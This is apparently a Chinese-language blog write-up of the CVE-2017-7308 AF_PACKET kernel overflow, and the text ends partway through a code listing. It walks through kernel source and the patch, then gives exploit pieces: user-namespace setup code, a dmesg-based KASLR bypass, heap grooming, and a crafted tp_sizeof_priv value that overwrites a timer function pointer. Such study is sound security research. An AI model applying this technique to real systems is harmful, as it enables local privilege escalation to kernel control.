文章目录
参考
【kernel exploit】CVE-2017-7308 AF_PACKET 环形缓冲区溢出漏洞
环境搭建
由于内核版本过老,ubuntu 18.04的qemu才支持运行该内核
绕过KASLR的方法是通过dmesg,不常用,这里关闭dmesg,不做过多研究
make mrproper
make clean
wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.10.6.tar.xz
tar -xvf linux-4.10.6.tar.xz
make defconfig
make menuconfig
设置 General setup —> Choose SLAB allocator (SLUB (Unqueued Allocator)) —> SLAB
设置 Kernel hacking-> Compile-time checks and compiler options ---> [*] Compile the kernel with debug info
设置 Kernel hacking->[*] Kernel debugging
去源码目录的 .config设置如下
CONFIG_PACKET=y(启用AF_PACKET套接字选项) CONFIG_USER_NS=y(用户命名空间—CAP_NET_RAW权限) CONFIG_SLAB=y
CONFIG_E1000和CONFIG_E1000E,变更为=y
make -j 8
去源码目录的/arch/x86/boot寻找到bzlmage,源码当前目录找vmlinux
后来发现没有native_write_cr4,感觉是没有编译进去,找到调用的地方的文件名, 然后在当前的目录的kconfig找到有个文件名的config选项,最后在.config开启,再重新编译
漏洞点
// net/packet/af_packet.c
@@ -4193,8 +4193,8 @@ static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
if (unlikely(!PAGE_ALIGNED(req->tp_block_size)))
goto out;
if (po->tp_version >= TPACKET_V3 &&
- (int)(req->tp_block_size -
- BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
+ req->tp_block_size <=
+ BLK_PLUS_PRIV((u64)req_u->req3.tp_sizeof_priv)) // 在将tp_sizeof_priv传递给BLK_PLUS_PRIV之前,将其转化为 uint64 类型值
goto out;
if (unlikely(req->tp_frame_size < po->tp_hdrlen +
po->tp_reserve))
// 如果不转化为 uint64 类型值,当tp_sizeof_priv接近于unsigned int的最大值时,在处理BLK_PLUS_PRIV时还是会出现溢出问题。
#define BLK_PLUS_PRIV(sz_of_priv)
(BLK_HDR_LEN + ALIGN((sz_of_priv), V3_ALIGNMENT))
即BLK_PLUS_PRIV
的结果如果对于int是负数,那么req->tp_block_size - BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv
会大于0,满足但BLK_PLUS_PRIV
已经越界了
exp流程
启动用户命名空间
AF_PACKET套接字:用来接收和发送到网络设备的socket类型。为了创建AF_PACKET套接字,进程必须在用户命名空间中具备CAP_NET_RAW权限,这个需要root,如果 Linux 内核支持非特权用户命名空间,这将允许非 root 用户创建用户命名空间。进而在新的命名空间中,进程可以具有 CAP_NET_RAW 权限,即使在全局命名空间中它是非 root 用户。
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}
绕过KASLR
-
dmesg | grep 'Freeing SMP'
:dmesg
是一个命令,用来打印内核环形缓冲区中的消息,通常是系统启动时和运行过程中内核生成的日志。grep 'Freeing SMP'
是用来过滤dmesg
输出中的特定内容,这里是寻找包含 “Freeing SMP” 的日志行。
-
KASLR(Kernel Address Space Layout Randomization):
- KASLR 是一种安全技术,通过随机化内核和模块的内存地址来防止攻击者预测内存布局。
- 因为 KASLR 会随机化内核地址,所以为了得到一致的内核地址,有时会关闭 KASLR。
-
内核文本地址的时效性:
- 通过
dmesg
得到的内核地址信息(例如内核文本地址),在系统启动后的一段时间内是有效的。 - 这是因为
dmesg
的输出是有限的,内核环形缓冲区只能存储固定数量的日志行。当日志行超过这个限制时,旧的日志会被新的日志覆盖。因此,日志信息并不会永久保存。
- 通过
消耗object
利用结构体packet_sock
socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
调用链
sys_socket()
__sys_socket()
sock_create()
__sock_create()
// 首先在 net_families 数组中找协议族对应的 net_proto_family 结构体
/*
* 对 AF_PACKET 而言,其在 packet_init() 中通过 sock_register()
* 注册了packet_family_ops,其中 create 指针为 packet_create()
*/
// 接下来会调用 net_proto_family 的 create 指针进行 sock 的创建
packet_create()
sk_alloc()
sk_prot_alloc()
会先从slab 分配,没有就通过kmalloc(prot->obj_size, priority);
分配。gdb-peda$ p packet_proto .obj_size $17 = 0x580
会从kmalloc-2k取,一个slab有8页,含4个object
static struct sock *sk_prot_alloc(struct proto *prot, gfp_t priority,
int family)
{
struct sock *sk;
struct kmem_cache *slab;
slab = prot->slab;
if (slab != NULL) {
sk = kmem_cache_alloc(slab, priority & ~__GFP_ZERO);
if (!sk)
return sk;
if (want_init_on_alloc(priority))
sk_prot_clear_nulls(sk, prot->obj_size);
} else
sk = kmalloc(prot->obj_size, priority);
if (sk != NULL) {
if (security_sk_alloc(sk, family, priority))
goto out_free;
if (!try_module_get(prot->owner))
goto out_free_sec;
}
return sk;
out_free_sec:
security_sk_free(sk);
out_free:
if (slab != NULL)
kmem_cache_free(slab, sk);
else
kfree(sk);
return NULL;
}
分配大量 socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP))
消耗不连续的(零散的)kmalloc-2048 object
,保证接下来申请到的kmalloc-2048
是连续的
消耗page
大概模板流程
# strace tcpdump -i eth0
... // (1)创建一个套接字:socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
socket(PF_PACKET, SOCK_RAW, 768) = 3
... // (2)套接字绑定到eth0接口;
bind(3, {sa_family=AF_PACKET, proto=0x03, if2, pkttype=PACKET_HOST, addr(0)={0, }, 20) = 0
... // (3)通过PACKET_VERSION套接字选项,将环形缓冲区版本设置为TPACKET_V2;
setsockopt(3, SOL_PACKET, PACKET_VERSION, [1], 4) = 0
... // (4)使用PACKET_RX_RING套接字选项,创建一个环形缓冲区;
setsockopt(3, SOL_PACKET, PACKET_RX_RING, {block_size=131072, block_nr=31, frame_size=65616, frame_nr=31}, 16) = 0
packet_sock 结构体:每创建一个数据包套接字,内核就会分配与之对应的一个packet_sock结构体对象。
函数指针:packet_sock (rx_ring) -> packet_ring_buffer (prb_bdqc) -> tpacket_kbdq_core (retire_blk_timer) -> timer_list (含函数指针*function)
内存块&帧:packet_sock (rx_ring) -> packet_ring_buffer (pg_vec) -> pgv (*buffer 指向存内存块的数组) -> tpacket_block_desc (内存块的头部) -> tpacket3_hdr (帧的头部)
struct packet_sock {
/* struct sock has to be the first member of packet_sock */
struct sock sk;
struct packet_fanout *fanout;
union tpacket_stats_u stats;
struct packet_ring_buffer rx_ring; // 接收receive的环形缓冲区,通过setsockopt(..., PACKET_RX_RING, ...)创建。 // !!!如下
struct packet_ring_buffer tx_ring; // 传输transmit的环形缓冲区,通过setsockopt(..., PACKET_TX_RING, ...)创建。
...
enum tpacket_versions tp_version; // 环形缓冲区的版本,可通过 setsockopt(..., PACKET_VERSION, ...)设置版本。
...
int (*xmit)(struct sk_buff *skb);
struct packet_type prot_hook ____cacheline_aligned_in_smp;
};
// packet_ring_buffer —— https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/internal.h#L56
struct packet_ring_buffer {
struct pgv *pg_vec; // 指向pgv结构体数组的一个指针,数组中的每个元素都保存了对某个内存块的引用。每个内存块实际上都是单独分配的,没有位于一个连续的内存区域中
...
struct tpacket_kbdq_core prb_bdqc; // 0x30 tpacket_kbdq_core结构体描述了环形缓冲区的当前状态。 // !!!如下
};
struct pgv {
char *buffer;
};
// tpacket_kbdq_core —— https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/internal.h#L14
struct tpacket_kbdq_core {
...
unsigned short blk_sizeof_priv; // 包含每个内存块所属的私有区域的大小。 由用户参数 tpacket_req3->tp_sizeof_priv 传过来, unsigned int -> unsigned short
...
char *nxt_offset; // 指向当前活跃的内存块的内部区域,表明下一个数据包的存放位置。
...
struct timer_list retire_blk_timer; // timer_list结构体,用来描述超时发生后停用当前内存块的那个计时器
};
// timer_list —— https://elixir.bootlin.com/linux/v4.10.6/source/include/linux/timer.h#L12
struct timer_list {
struct hlist_node entry;
unsigned long expires;
void (*function)(unsigned long);
unsigned long data;
u32 flags;
};
内核使用packet_setsockopt()函数处理数据包套接字的选项设置操作。当使用PACKET_VERSION套接字选项时,内核就会将po->tp_version参数的值设置为对应的值。接下来,使用PACKET_RX_RING套接字选项,创建一个用于数据包接收的环形缓冲区(内核实际调用packet_set_ring()函数完成该过程)
static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
int closing, int tx_ring)
{
...
// (1)首先,packet_set_ring() 函数会对给定的环形缓冲区参数执行一系列完整性检查操作
err = -EINVAL;
if (unlikely((int)req->tp_block_size <= 0))
goto out;
if (unlikely(!PAGE_ALIGNED(req->tp_block_size)))
goto out;
if (po->tp_version >= TPACKET_V3 &&
(int)(req->tp_block_size -
BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0) // 漏洞点!!!!!!!!!!!!!!! 该检查可绕过
goto out;
if (unlikely(req->tp_frame_size < po->tp_hdrlen +
po->tp_reserve))
goto out;
if (unlikely(req->tp_frame_size & (TPACKET_ALIGNMENT - 1)))
goto out;
rb->frames_per_block = req->tp_block_size / req->tp_frame_size;
if (unlikely(rb->frames_per_block == 0))
goto out;
if (unlikely((rb->frames_per_block * req->tp_block_nr) !=
req->tp_frame_nr))
goto out;
// (2)分配环形缓冲区的内存块空间。alloc_pg_vec() -> alloc_one_pg_vec_page() 使用内核页分配器来分配内存块(漏洞利用中用到了)
err = -ENOMEM;
order = get_order(req->tp_block_size);
pg_vec = alloc_pg_vec(req, order);
// alloc_pg_vec内部会分配block_nr个pgv和block_nr个order页
// pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL);
// if (unlikely(!pg_vec))
// goto out;
// for (i = 0; i < block_nr; i++) {
// pg_vec[i].buffer = alloc_one_pg_vec_page(order);
// if (unlikely(!pg_vec[i].buffer))
// goto out_free_pgvec;
// }
if (unlikely(!pg_vec))
goto out;
// (3)调用init_prb_bdqc()函数,创建一个接收数据包的TPACKET_V3环形缓冲区。
switch (po->tp_version) {
case TPACKET_V3:
/* Transmit path is not supported. We checked
* it above but just being paranoid
*/
if (!tx_ring)
init_prb_bdqc(po, rb, pg_vec, req_u); // !!!!!!!!!!!!!!! <--------------------
break;
default:
break;
}
// init_prb_bdqc() —— https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/af_packet.c#L603
// 将环形缓冲区参数拷贝到环形缓冲区结构体中的prb_bdqc字段,在这些参数的基础上计算其他一些参数值,设置停用内存块的计时器,然后调用prb_open_block()函数初始化第一个内存块。
static void init_prb_bdqc(struct packet_sock *po,
struct packet_ring_buffer *rb,
struct pgv *pg_vec,
union tpacket_req_u *req_u)
{
struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb); // 将环形缓冲区参数拷贝到环形缓冲区结构体中的prb_bdqc字段
struct tpacket_block_desc *pbd;
memset(p1, 0x0, sizeof(*p1));
p1->knxt_seq_num = 1;
p1->pkbdq = pg_vec;
pbd = (struct tpacket_block_desc *)pg_vec[0].buffer; // pbd指向第1个内存块
p1->pkblk_start = pg_vec[0].buffer;
p1->kblk_size = req_u->req3.tp_block_size;
p1->knum_blocks = req_u->req3.tp_block_nr;
p1->hdrlen = po->tp_hdrlen;
p1->version = po->tp_version;
p1->last_kactive_blk_num = 0;
po->stats.stats3.tp_freeze_q_cnt = 0;
if (req_u->req3.tp_retire_blk_tov) // 设置停用内存块的计时器
p1->retire_blk_tov = req_u->req3.tp_retire_blk_tov;
else
p1->retire_blk_tov = prb_calc_retire_blk_tmo(po,
req_u->req3.tp_block_size);
p1->tov_in_jiffies = msecs_to_jiffies(p1->retire_blk_tov);
p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv; // 赋值 blk_sizeof_priv
p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);
prb_init_ft_ops(p1, req_u);
prb_setup_retire_blk_timer(po);
prb_open_block(p1, pbd); // 调用prb_open_block()函数初始化第一个内存块 !!!!!!! <----------
}
// prb_open_block —— https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/af_packet.c#L840
// 设置 tpacket_kbdq_core 结构体中的 nxt_offset 字段,将其指向紧挨着每个内存块私有区域的那个地址。
static void prb_open_block(struct tpacket_kbdq_core *pkc1,
struct tpacket_block_desc *pbd1)
{
...
pkc1->pkblk_start = (char *)pbd1;
pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv); // pkc1->nxt_offset 指向私有区域之后的内存块 即下次使用的起始部分
...
}
我们是通过packet_setsockopt
设置缓冲区时来创建缓冲区,相关的缓冲区参数由传入指定的结构体tpacket_req3
决定
struct tpacket_req3 {
unsigned int tp_block_size; /* Minimal size of contiguous block */ // 每个内存块的大小
unsigned int tp_block_nr; /* Number of blocks */ // 内存块的个数
unsigned int tp_frame_size; /* Size of frame */ // 每个帧的大小,TPACKET_V3会忽视这个字段
unsigned int tp_frame_nr; /* Total number of frames */ // 帧的个数,TPACKET_V3会忽视这个字段
unsigned int tp_retire_blk_tov; /* timeout in msecs */ // 超时时间(毫秒),超时后即使内存块没有被数据完全填满也会被内核停用(参考下文),以便用户能尽快读取数据
unsigned int tp_sizeof_priv; /* offset to private data area */ // 每个内存块中私有区域的大小。用户可以使用这个区域存放与每个内存块有关的任何信息;
unsigned int tp_feature_req_word; // 一组标志(目前实际上只有一个标志),可以用来启动某些附加功能。
};
这里block_size
设置为0x8000消耗掉不连续的order为3的页
溢出点
static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
struct packet_type *pt, struct net_device *orig_dev)
{
...
h.raw = packet_current_rx_frame(po, skb, TP_STATUS_KERNEL, (macoff+snaplen)); // (1)计算传入的 tp_sizeof_priv, 以控制伪造写入的地址 !!!!
...
skb_copy_bits(skb, 0, h.raw + macoff, snaplen); // (2)拷贝时产生溢出 !!!!!!!!!!!!!!
...
}
tpacket_rcv
是在 Linux 内核中的一个用于处理收到的网络数据包的函数。它是为 AF_PACKET 套接字处理传入数据包的接收操作。AF_PACKET 套接字允许用户空间程序直接访问链路层报文,它们常用于网络嗅探和包生成工具如 tcpdump 和 Wireshark。以下是函数的详细工作流程和解释:
函数参数
struct sk_buff *skb
: 传入的数据包缓冲区。struct net_device *dev
: 接收数据包的网络设备。struct packet_type *pt
: 包类型信息,用于绑定到特定协议。struct net_device *orig_dev
: 原始网络设备。
函数工作流程
-
初步检查和变量初始化:
- 检查数据包类型是否为
PACKET_LOOPBACK
,如果是则丢弃。 - 获取套接字
sock
和packet_sock
结构。 - 检查数据包是否来自同一网络命名空间,否则丢弃。
- 检查数据包类型是否为
-
处理数据包头:
- 根据设备类型和套接字类型处理数据包头部。如果设备有 header 操作并且套接字类型不是
SOCK_DGRAM
,则将数据包头推回到数据包中。如果数据包类型是PACKET_OUTGOING
,则拉出网络层偏移。
- 根据设备类型和套接字类型处理数据包头部。如果设备有 header 操作并且套接字类型不是
-
数据包过滤:
- 运行过滤器 (
run_filter
) 来决定是否接受数据包。如果过滤结果为零,则丢弃数据包。
- 运行过滤器 (
-
校验和处理:
- 根据数据包的校验和状态设置状态标志。
-
截断数据包:
- 根据过滤器结果截断数据包长度。
-
计算偏移量:
- 计算 MAC 和网络层的偏移量。
-
处理环形缓冲区:
- 检查并处理环形缓冲区的帧大小。如果需要并且共享缓冲区,则克隆或获取数据包。
-
锁定接收队列并处理接收帧:
- 锁定套接字的接收队列,获取当前接收帧。如果失败则丢弃并计数。
- 增加接收头指针。
-
处理 Virtio 网络头:
- 如果存在 Virtio 网络头,则从数据包中提取并填充到接收缓冲区。
-
拷贝数据:
- 拷贝数据包内容到接收缓冲区。
-
时间戳处理:
- 获取数据包的时间戳并设置到接收缓冲区头部。
-
设置头部字段:
- 根据不同的 TPACKET 版本设置接收缓冲区头部字段。
-
设置 socket 地址:
- 填充
sockaddr_ll
结构,包含数据包的链路层信息。
- 填充
-
缓存一致性处理:
- 如果架构实现了 dcache 页面刷新,则刷新缓存以确保数据一致性。
-
设置状态并通知:
- 设置接收缓冲区的状态,并调用
sk_data_ready
通知用户空间有新数据到达。
- 设置接收缓冲区的状态,并调用
错误处理和数据包释放
- 在处理过程中如果出现错误,会跳转到
drop_n_restore
或drop_n_account
标签进行错误处理和数据包释放。
tpacket_rcv
函数主要负责接收和处理网络数据包,将数据拷贝到用户空间可访问的缓冲区,并根据不同的 TPACKET 版本设置相应的头部信息。该函数涉及到数据包过滤、校验和处理、时间戳处理以及缓存一致性处理等操作,以确保数据包能够正确地传递到用户空间。
内核调用tpacket_rcv()函数来接收包,每当内核收到一个新的数据包时,内核应该会把它保存到环形缓冲区中。关键函数是__packet_lookup_frame_in_block(),用于计算当前环形缓冲区中可接收数据的起始地址,这个函数的主要工作为:
-
检查当前活跃的内存块是否有充足的空间存放数据包;
-
如果空间足够,保存数据包到当前的内存块,然后返回;
-
如果空间不够,就调度下一个内存块,将数据包保存到下一个内存块。
大致流程如下
static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
struct packet_type *pt, struct net_device *orig_dev)
{
...
h.raw = packet_current_rx_frame(po, skb, TP_STATUS_KERNEL, (macoff+snaplen)); // (1)计算传入的 tp_sizeof_priv, 以控制伪造写入的地址 !!!!
...
skb_copy_bits(skb, 0, h.raw + macoff, snaplen); // (2)拷贝时产生溢出 !!!!!!!!!!!!!!
...
}
static void *packet_current_rx_frame(struct packet_sock *po, // (1-2)
struct sk_buff *skb,
int status, unsigned int len)
{
char *curr = NULL;
switch (po->tp_version) {
...
case TPACKET_V3:
return __packet_lookup_frame_in_block(po, skb, status, len);
...
}
}
// __packet_lookup_frame_in_block —— 返回当前缓冲区中可接收数据的起始地址 // (1-3)
static void *__packet_lookup_frame_in_block(struct packet_sock *po,
struct sk_buff *skb,
int status,
unsigned int len
)
{
struct tpacket_kbdq_core *pkc;
struct tpacket_block_desc *pbd;
char *curr, *end;
pkc = GET_PBDQC_FROM_RB(&po->rx_ring);
pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
...
curr = pkc->nxt_offset;
pkc->skb = skb;
end = (char *)pbd + pkc->kblk_size;
/* first try the current block */
if (curr+TOTAL_PKT_LEN_INCL_ALIGN(len) < end) { // (1-4)不满足本条件,所以会从第2个块中找空余的空间。
prb_fill_curr_block(curr, pkc, pbd, len);
return (void *)curr;
}
/* Ok, close the current block */
prb_retire_current_block(pkc, po, 0);
/* Now, try to dispatch the next block */
curr = (char *)prb_dispatch_next_block(pkc, po); // 返回第2个块
if (curr) {
pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
prb_fill_curr_block(curr, pkc, pbd, len);
return (void *)curr;
}
...
}
static void *prb_dispatch_next_block(struct tpacket_kbdq_core *pkc,
struct packet_sock *po)
{
...
prb_open_block(pkc, pbd);
return (void *)pkc->nxt_offset;
}
总体流程
- 调用
tpacket_rcv
函数接收数据包 - 计算当前接收帧的地址
- 检查并分配缓冲区
- 拷贝数据到缓冲区
- 处理缓冲区填充和状态
详细步骤
1. tpacket_rcv
函数
这个函数是数据包接收的入口点。它处理数据包的各种属性并将其拷贝到合适的缓冲区。
h.raw = packet_current_rx_frame(po, skb, TP_STATUS_KERNEL, (macoff + snaplen));
- 这行代码计算传入的帧地址,调用
packet_current_rx_frame
获取当前接收帧的地址。
skb_copy_bits(skb, 0, h.raw + macoff, snaplen);
- 这行代码将数据包内容拷贝到计算出的缓冲区地址。可能会有溢出的风险,如果计算的地址或长度不正确。
2. packet_current_rx_frame
函数
这个函数根据 TPACKET 版本选择相应的函数来查找当前接收帧的地址。
switch (po->tp_version) {
...
case TPACKET_V3:
return __packet_lookup_frame_in_block(po, skb, status, len);
...
}
- 对于 TPACKET_V3 版本,调用
__packet_lookup_frame_in_block
函数。
3. __packet_lookup_frame_in_block
函数
这个函数在当前块中查找可用的接收帧,并在必要时分配新的块。
pkc = GET_PBDQC_FROM_RB(&po->rx_ring);
pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
curr = pkc->nxt_offset;
end = (char *)pbd + pkc->kblk_size;
pkc
是核心缓冲区描述符,pbd
是当前块描述符,curr
是当前偏移量,end
是当前块的结束地址。
if (curr + TOTAL_PKT_LEN_INCL_ALIGN(len) < end) {
prb_fill_curr_block(curr, pkc, pbd, len);
return (void *)curr;
}
- 如果当前块有足够的空间来存储数据包,则填充当前块并返回地址。
prb_retire_current_block(pkc, po, 0);
curr = (char *)prb_dispatch_next_block(pkc, po);
if (curr) {
pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
prb_fill_curr_block(curr, pkc, pbd, len);
return (void *)curr;
}
- 如果当前块没有足够的空间,则关闭当前块并分配下一个块。然后填充新块并返回地址。
4. prb_dispatch_next_block
函数
这个函数分配下一个块,并返回新块的起始地址。
static void *prb_dispatch_next_block(struct tpacket_kbdq_core *pkc,
struct packet_sock *po)
{
...
pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
prb_open_block(pkc, pbd);
return (void *)pkc->nxt_offset;
}
static void prb_open_block(struct tpacket_kbdq_core *pkc1,
struct tpacket_block_desc *pbd1)
{
pkc1->pkblk_start = (char *)pbd1;
pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
}
- 打开新块并返回新块的起始可使用位置。此时如果
blk_sizeof_priv
很大,就会造成nxt_offset
越界
然后是将数据复制到pkc1->nxt_offset
处,此时越界写
static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
struct packet_type *pt, struct net_device *orig_dev)
{
...
h.raw = packet_current_rx_frame(po, skb, TP_STATUS_KERNEL, (macoff+snaplen)); // (1)计算传入的 tp_sizeof_priv, 以控制伪造写入的地址 !!!!
...
skb_copy_bits(skb, 0, h.raw + macoff, snaplen); // (2)拷贝时产生溢出 !!!!!!!!!!!!!!
...
}
int skb_copy_bits(const struct sk_buff *skb, int offset, void *to, int len)
{
int start = skb_headlen(skb);
struct sk_buff *frag_iter;
int i, copy;
if (offset > (int)skb->len - len)
goto fault;
/* Copy header. */
if ((copy = start - offset) > 0) {
if (copy > len)
copy = len;
skb_copy_from_linear_data_offset(skb, offset, to, copy); // (2-1) memcpy(to, skb->data + offset, len); 开始拷贝用户传入的数据,在这里下断点,查看是否覆盖了伪造的数据
if ((len -= copy) == 0)
return 0;
offset += copy;
to += copy;
}
...
if ((copy = end - offset) > 0) {
u8 *vaddr;
if (copy > len)
copy = len;
vaddr = kmap_atomic(skb_frag_page(f));
memcpy(to,
vaddr + f->page_offset + offset - start,
copy);
溢出风水1
然后因为packet_sock结构体的大小大约为1920,而1024 < 1920 <= 2048,这意味着对象的大小会调整到2048,并且会使用kmalloc-2048缓存。对于这个特定的缓存,SLUB分配器(这个分配器是Ubuntu所使用的slab分配器)会使用大小为0x8000的slabs。因此每当分配器用光kmalloc-2048
缓存的slab时,它就会使用页面分配器分配
0x8000字节的空间。
所以当消耗完零散的order为3的页后,再次申请order为3的页那么此时会连续,然后再通过申请大量的kmalloc-2048
使得其申请order为3的页,进而和之前的order为3的页形成的内存块连续。
由于我们是当我们的接收缓冲区接收时候发生的溢出,首先需创建绑定到对应网络接口的套接字
申请环形缓冲区,设置好溢出,这里控制的是blk_sizeof_priv
字段,blocksize依然是0x8000,然后数量是2
unsigned int maclen = ETH_HDR_LEN;
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
(maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
0x8000 - BLK_HDR_LEN - macoff + offset;
----------------------------------------------------------------------
packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
int closing, int tx_ring)
if (po->tp_version >= TPACKET_V3 &&
(int)(req->tp_block_size -
BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
BLK_PLUS_PRIV()转int为负数绕过
A = req->tp_block_size = 4096 = 0x1000
B = req_u->req3.tp_sizeof_priv = (1 << 31) + 4096 = 0x80001000
BLK_PLUS_PRIV(B) = (1 << 31) + 4096 + 48 = 0x80001030
A - BLK_PLUS_PRIV(B) = 0x1000 - 0x80001030 = 0x7fffffd0
(int)0x7fffffd0 = 0x7fffffd0 > 0
-----------------------------------------------------------------------
struct tpacket_kbdq_core {
...
unsigned short blk_sizeof_priv;
// 包含每个内存块所属的私有区域的大小。 由用户参数 tpacket_req3->tp_sizeof_priv 传过来, unsigned int -> unsigned short
init_prb_bdqc(struct packet_sock *po,
struct packet_ring_buffer *rb,
struct pgv *pg_vec,
union tpacket_req_u *req_u)
p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv; // 赋值 blk_sizeof_priv
p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);
使p1->max_frame_len为一个很大的值以此来绕过后面的一些检测。
----------------------------------------------------------------------
static void prb_open_block(struct tpacket_kbdq_core *pkc1,
struct tpacket_block_desc *pbd1)
{
...
pkc1->pkblk_start = (char *)pbd1;
pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv); // pkc1->nxt_offset 指向私有区域之后的内存块
...
#define V3_ALIGNMENT (8)
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT)) 0x30
#define BLK_PLUS_PRIV(sz_of_priv) \
(BLK_HDR_LEN + ALIGN((sz_of_priv), V3_ALIGNMENT))
最后初始化缓冲区的prb_open_block
会打开一个内存块并设置可使用来存储数据包的地址nxt_offset
,此时为
pg_vec[0].buffer + blk_sizeof_priv + BLK_HDR_LEN=pg_vec[0].buffer +
0x8000 - BLK_HDR_LEN - macoff + offset+BLK_HDR_LEN
=pg_vec[0].buffer + 0x8000 - macoff + offset
macoff 的来源
else {
unsigned int maclen = skb_network_offset(skb);
netoff = TPACKET_ALIGN(po->tp_hdrlen +
(maclen < 16 ? 16 : maclen)) +
po->tp_reserve;
macoff = netoff - maclen;
}
- 创建一个原始套接字。
- 初始化接收环形缓冲区。
- 设置 sockaddr_ll 结构体以指定目标接口和协议。
- 将套接字绑定到指定接口上。
然后再喷大量packet_socket使得分配到之前内存块相邻的0x8000的slab,然后创建套接字往对应接口发送数据,导致的溢出
由于curr+TOTAL_PKT_LEN_INCL_ALIGN(len) < end
不满足,因为此时 curr = pkc->nxt_offset;
,由上面的溢出知道是到达下一个内存块的,然后通过prb_dispatch_next_block
返回下一个内存块的可用地址(这就是为什么要选择缓冲区为两个内存块),此时为
h.raw =pg_vec[1].buffer+0x8000 - BLK_HDR_LEN - macoff + offset+BLK_HDR_LEN=pg_vec[1].buffer+0x8000 – macoff + offset
offset是在下一个0x8000块中的偏移,即对应到哪个packet_socket的哪个部分,为2048 + TIMER_OFFSET - 8代表第二个packet_sock->rx_ring->prb_bdqc->retire_blk_timer->func中的retire_blk_timer字段,由于会BLK_PLUS_PRIV
对齐的原因,TIMER_OFFSET 不是八字节对齐的,所以需要-8,保证能够覆盖到retire_blk_timer结构体
然后调用skb_copy_bits(skb, 0, h.raw + macoff, snaplen)把数据复制到缓存区时的起始地址为pg_vec[1].buffer + 0x8000+2048 + TIMER_OFFSET - 8,跳过后面紧跟的一个packet_sock,这样最终的复制起始地址为后面紧跟的第二个packet_sock + TIMER_OFFSET - 6(由于对齐导致是-6,因为TIMER_OFFSET 不是八字节对齐的)
----------------------------------------------------------------------
static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
struct packet_type *pt, struct net_device *orig_dev)
{
...
h.raw = packet_current_rx_frame(po, skb, TP_STATUS_KERNEL, (macoff+snaplen)); // (1)计算传入的 tp_sizeof_priv, 以控制伪造写入的地址 !!!!
...
skb_copy_bits(skb, 0, h.raw + macoff, snaplen); // (2)拷贝时产生溢出 !!!!!!!!!!!!!!
...
}
----------------------------------------------------------------------
// __packet_lookup_frame_in_block —— 返回当前缓冲区中可接收数据的起始地址 // (1-3)
static void *__packet_lookup_frame_in_block(struct packet_sock *po,
struct sk_buff *skb,
int status,
unsigned int len
)
{
struct tpacket_kbdq_core *pkc;
struct tpacket_block_desc *pbd;
char *curr, *end;
pkc = GET_PBDQC_FROM_RB(&po->rx_ring);
pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
...
curr = pkc->nxt_offset;
pkc->skb = skb;
end = (char *)pbd + pkc->kblk_size;
/* first try the current block */
if (curr+TOTAL_PKT_LEN_INCL_ALIGN(len) < end) { // (1-4)不满足本条件,所以会从第2个块中找空余的空间。
prb_fill_curr_block(curr, pkc, pbd, len);
return (void *)curr;
}
/* Ok, close the current block */
prb_retire_current_block(pkc, po, 0);
/* Now, try to dispatch the next block */
curr = (char *)prb_dispatch_next_block(pkc, po); // 返回第2个块
if (curr) {
pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
prb_fill_curr_block(curr, pkc, pbd, len);
return (void *)curr;
}
...
